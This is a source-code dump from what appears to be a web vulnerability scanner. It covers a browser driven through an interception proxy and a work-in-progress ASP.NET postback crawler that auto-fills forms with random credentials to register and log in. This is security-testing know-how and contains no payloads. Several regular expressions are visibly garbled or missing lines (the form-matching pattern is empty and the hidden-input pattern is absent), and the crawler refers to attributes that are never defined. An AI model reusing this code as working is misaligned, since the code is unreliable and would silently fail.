201 | self.proxy = AsyncMitmProxy(ca_file=os.path.join(self.ca_dir, self.ca_file), server_address=(self.proxy_host, self.proxy_port))
202 | else:
203 | self.proxy = AsyncMitmProxy()
204 | self.proxy.register_interceptor(DebugInterceptor)
205 | try:
206 | self.proxy.serve_forever()
207 | except:
208 | return
209 |
210 |
211 | class Mefjus:
212 | seen = []
213 | ca_dir = "certs"
214 | ca_file = "mefjus.pem"
215 | proxy = None
216 | driver = None
217 | show_browser = None
218 |
219 | def __init__(self, logger=logging.INFO, driver_path=None, proxy_port=3333, use_proxy=True, use_https=True, show_driver=False):
220 | if use_proxy:
221 | self.proxy = CustomProxy(logger=logger, proxy_port=proxy_port)
222 | self.driver = GhostDriverInterface(logger=logger, custom_path=driver_path, proxy_port=proxy_port, use_proxy=use_proxy, show_browser=show_driver)
223 | self.use_https = use_https
224 |
225 | def close(self):
226 | if self.driver:
227 | self.driver.close()
228 | time.sleep(1)
229 | if self.proxy:
230 | self.proxy.proxy.server_close()
231 |
232 | def run(self, urls, interactive=False):
233 | if self.proxy:
234 | self.proxy.ca_dir = self.ca_dir
235 | if not os.path.exists(self.proxy.ca_dir):
236 | os.mkdir(self.proxy.ca_dir)
237 | self.proxy.ca_file = self.ca_file
238 | self.proxy.start()
239 | for url in urls:
240 | if type(url) is list:
241 | url = url[0]
242 | if url not in self.seen:
243 | self.seen.append(url)
244 | self.driver.get(url)
245 | if interactive:
246 | print("Interactive mode enabled, the browser will continue to function and log proxy-request.")
247 | print("Press any key to continue")
248 | try:
249 | x = input()
250 | except:
251 | pass
252 | self.close()
253 | return self.read_output()
254 |
255 | def read_output(self):
256 | with open('output.txt') as f:
257 | tree = HTTPParser.string_to_urltree(f.read(), use_https=self.use_https)
258 | return tree
259 |
--------------------------------------------------------------------------------
/core/postback_crawler.py:
--------------------------------------------------------------------------------
1 | import re
2 | import requests
3 | from core.utils import aspx_strip_internal, params_from_str
4 | import json
5 | import random
6 | import string
7 | import hashlib
8 | import logging
9 | from bs4 import BeautifulSoup
10 | try:
11 | import urlparse
12 | except ImportError:
13 | import urllib.parse as urlparse
14 |
15 | # WIP and very unstable
16 |
17 |
18 | class Event:
19 | url = ""
20 | state_url = ""
21 | inputs = {}
22 | actions = []
23 | session = None
24 | random_text_size = 8
25 | user_email = None
26 | user_password = None
27 |
28 | def __init__(self, session):
29 | self.session = session
30 | if not self.session:
31 | self.session = requests.session()
32 |
33 | def run_actions(self):
34 | results = []
35 | for a in self.actions:
36 | result = self.run_action(a)
37 | if result:
38 | results.append([a, result])
39 | return results
40 |
41 | def run_action(self, action):
42 | tmp = dict(self.inputs)
43 | target, argument = action
44 | internal = aspx_strip_internal(tmp)
45 | tmp['__EVENTTARGET'] = target
46 | tmp['__EVENTARGUMENT'] = argument
47 | print("Submitting action %s:%s" % (target, argument))
48 | try:
49 | print("[POST] %s %s" % (self.url, json.dumps(internal)))
50 | result = self.session.post(self.url, tmp)
51 | if result:
52 | print("[%d] %s len:%d type:%s" % (result.status_code, result.url, len(result.text), result.headers['content-type'] if 'content-type' in result.headers else 'Unknown'))
53 | return result
54 | return None
55 | except requests.Timeout:
56 | print("POST %s resulted in timeout" % self.url)
57 | except Exception as e:
58 | print("POST %s caused an exception: %s" % (self.url, str(e)))
59 | return False
60 |
61 | def generate_random(self, input_type, name):
62 | name = name.lower()
63 | # in some cases this allows the crawler to successfully register + login
64 | if not input_type:
65 | return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(self.random_text_size))
66 | if input_type == "email" or "mail" in name:
67 | if not self.user_email:
68 | self.user_email = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(self.random_text_size)) + '@' + ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(self.random_text_size)) + '.com'
69 | return self.user_email
70 | if input_type == "password" or "password" in name:
71 | if not self.user_password:
72 | self.user_password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(self.random_text_size))
73 | return self.user_password
74 |
75 | if input_type in ['number', 'integer', 'decimal']:
76 | return 1
77 | return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(self.random_text_size))
78 |
79 |
80 | # class with some static methods
81 | class FormDataToolkit:
82 | def __init__(self):
83 | pass
84 |
85 | @staticmethod
86 | def get_checksum(data):
87 | keys = []
88 | for x in data:
89 | keys.append(x)
90 | return hashlib.md5(''.join(keys).encode('utf-8')).hexdigest()
91 |
92 | @staticmethod
93 | def get_full_checksum(data):
94 | keys = []
95 | for x in data:
96 | keys.append("{0}={1}".format(x, data[x]))
97 | return hashlib.md5('&'.join(keys).encode('utf-8')).hexdigest()
98 |
99 |
100 | class Crawler:
101 | form_re = re.compile(r'(?s)()', re.IGNORECASE)
102 | form_action_re = re.compile(r'', re.IGNORECASE)
104 | name_re = re.compile(r'name=[\'"](.+?)[\'"]', re.IGNORECASE)
105 | type_re = re.compile(r'type=[\'"](.+?)[\'"]', re.IGNORECASE)
106 | value_re = re.compile(r'value=[\'"](.+?)[\'"]', re.IGNORECASE)
107 | other_types = [
108 | re.compile(r'(?s)<(select).+?name=[\'"](.+?)[\'"].+?value=[\'"](.*?)[\'"]', re.IGNORECASE),
109 | re.compile(r'(?s)<(textarea).+?name=[\'"](.+?)[\'"].+?>(.*?)', re.IGNORECASE)
110 | ]
111 | postback_re = re.compile(r'__doPostBack\(.*?[\'"](.+?)[\'"\\]\s*,\s*[\'"](.*?)[\'"\\]', re.IGNORECASE)
112 | page_re = [
113 | re.compile(r'window\.location\s*=\s*[\'"](.+?)[\'"]'),
114 | re.compile(r'document\.location\s*=\s*[\'"](.+?)[\'"]'),
115 | re.compile(r'document\.location\.href\s*=\s*[\'"](.+?)[\'"]'),
116 | re.compile(r'window\.location\.replace\([\'"](.+?)[\'"]'),
117 | re.compile(r'http-equiv="refresh.+?URL=[\'"](.+?)[\'"]')
118 | ]
119 | todo = []
120 | seen = []
121 | logger = logging.getLogger("State Crawler")
122 | max_allowed_checksum = 5
123 |
124 | max_urls = 200
125 | max_url_unique_keys = 1
126 | url_variations = []
127 | ignored = []
128 |
129 | max_postdata_per_url = 10
130 | max_postdata_unique_keys = 5
131 | blocked_filetypes = ['.jpg', '.png', '.gif', '.wav', '.mp3', '.mp4', '.3gp', '.js', '.css', 'jpeg', '.pdf', '.ico']
132 | scope = None
133 |
134 | def __init__(self):
135 | self.session = requests.session()
136 |
137 | def run(self, url):
138 | html = self.session.get(url)
139 | x = self.get_inputs(url, html.text)
140 | for event in x:
141 | self.todo.append(event)
142 |
143 | while len(self.todo):
144 | entry = self.todo.pop(0)
145 | self.seen.append(entry)
146 | results = entry.run_actions()
147 | for result in results:
148 | result_event, result = result
149 | x = self.get_inputs(result.url, result.text)
150 | for event in x:
151 | if not self.has_seen_action(event.url, event.inputs):
152 | self.todo.append(event)
153 |
154 | def get_filetype(self, url):
155 | url = url.split('?')[0]
156 | loc = urlparse.urlparse(url).path.split('.')
157 | if len(loc) is 1:
158 | return None
159 | return ".{0}".format(loc[len(loc)-1].lower())
160 |
161 | def parse_url(self, url, rooturl):
162 | url = url.split('#')[0]
163 | url = url.strip()
164 | if url in self.ignored:
165 | return
166 | if self.get_filetype(url) in self.blocked_filetypes:
167 | self.ignored.append(url)
168 | self.logger.debug("Url %s will be ignored because file type is not allowed" % url)
169 | return
170 | if "?" in url:
171 | params = params_from_str(url.split('?')[1])
172 | checksum = FormDataToolkit.get_checksum(params)
173 | if [url, checksum] in self.url_variations:
174 | var_num = 0
175 | for part in self.url_variations:
176 | if part == [url, checksum]:
177 | var_num += 1
178 | if var_num >= self.max_url_unique_keys:
179 | self.ignored.append(url)
180 | self.logger.debug("Url %s will be ignored because key variation limit is exceeded" % url)
181 | return
182 | self.url_variations.append([url, checksum])
183 |
184 | # if local link or link on same site root
185 | if url.startswith('/') or url.startswith(self.root_url):
186 | url = urlparse.urljoin(rooturl, url)
187 | if [url, None] not in self.scraped_pages:
188 | self.to_crawl.put([url, None])
189 | # javascript, raw data, mailto etc..
190 | if not url.startswith('javascript:') or url.startswith('data:') or url.startswith('mailto:'):
191 | url = urlparse.urljoin(rooturl, url)
192 | if not self.scope.in_scope(url):
193 | self.ignored.append(url)
194 | self.logger.debug("Url %s will be ignored because out of scope" % url)
195 | return
196 | if [url, None] not in self.scraped_pages:
197 | self.to_crawl.put([url, None])
198 |
199 | def parse_links(self, html, rooturl):
200 | try:
201 | soup = BeautifulSoup(html, 'html.parser')
202 | links = soup.find_all('a', href=True)
203 | for link in links:
204 | if (len(self.todo) + len(self.seen)) > self.max_urls:
205 | continue
206 | url = link['href']
207 | self.parse_url(url, rooturl)
208 | for regex in self.page_re:
209 | results = regex.findall(html)
210 | for res in results:
211 | self.parse_url(res, rooturl)
212 |
213 | except Exception as e:
214 | self.logger.warning("Parse error on %s -> %s" % (rooturl, str(e)))
215 |
216 | def has_seen_action(self, url, data):
217 | for handler in self.seen:
218 | if handler.url == url:
219 | checksum = FormDataToolkit.get_checksum(data)
220 | handler_checksum = FormDataToolkit.get_checksum(handler.inputs)
221 | if checksum == handler_checksum:
222 | return True
223 | for handler in self.todo:
224 | if handler.url == url:
225 | checksum = FormDataToolkit.get_checksum(data)
226 | handler_checksum = FormDataToolkit.get_checksum(handler.inputs)
227 | if checksum == handler_checksum:
228 | return True
229 | return False
230 |
231 | def get_inputs(self, url, html):
232 | data = []
233 | html = html.replace(''', "'")
234 | html = html.replace('&', "&")
235 | for form in self.form_re.findall(html):
236 | post_url = url
237 | get_action = self.form_action_re.search(form)
238 | if get_action:
239 | post_url = urlparse.urljoin(url, get_action.group(1))
240 | handler = Event(self.session)
241 | handler.url = post_url
242 | handler.state_url = url
243 | for inp in self.hidden_re.findall(form):
244 | name = self.name_re.search(inp)
245 | if not name:
246 | continue
247 | name = name.group(1)
248 | input_type = self.type_re.search(inp)
249 | if not input_type:
250 | continue
251 | input_type = input_type.group(1)
252 | value = self.value_re.search(inp)
253 | value = value.group(1) if value else handler.generate_random(input_type, name)
254 | handler.inputs[name] = value
255 | for match in self.other_types:
256 | results = match.findall(form)
257 | for entry in results:
258 | handler.inputs[entry[1]] = entry[2]
259 | for postback in self.postback_re.findall(form):
260 | if postback not in handler.actions:
261 | handler.actions.append(postback)
262 | data.append(handler)
263 | return data
264 |
--------------------------------------------------------------------------------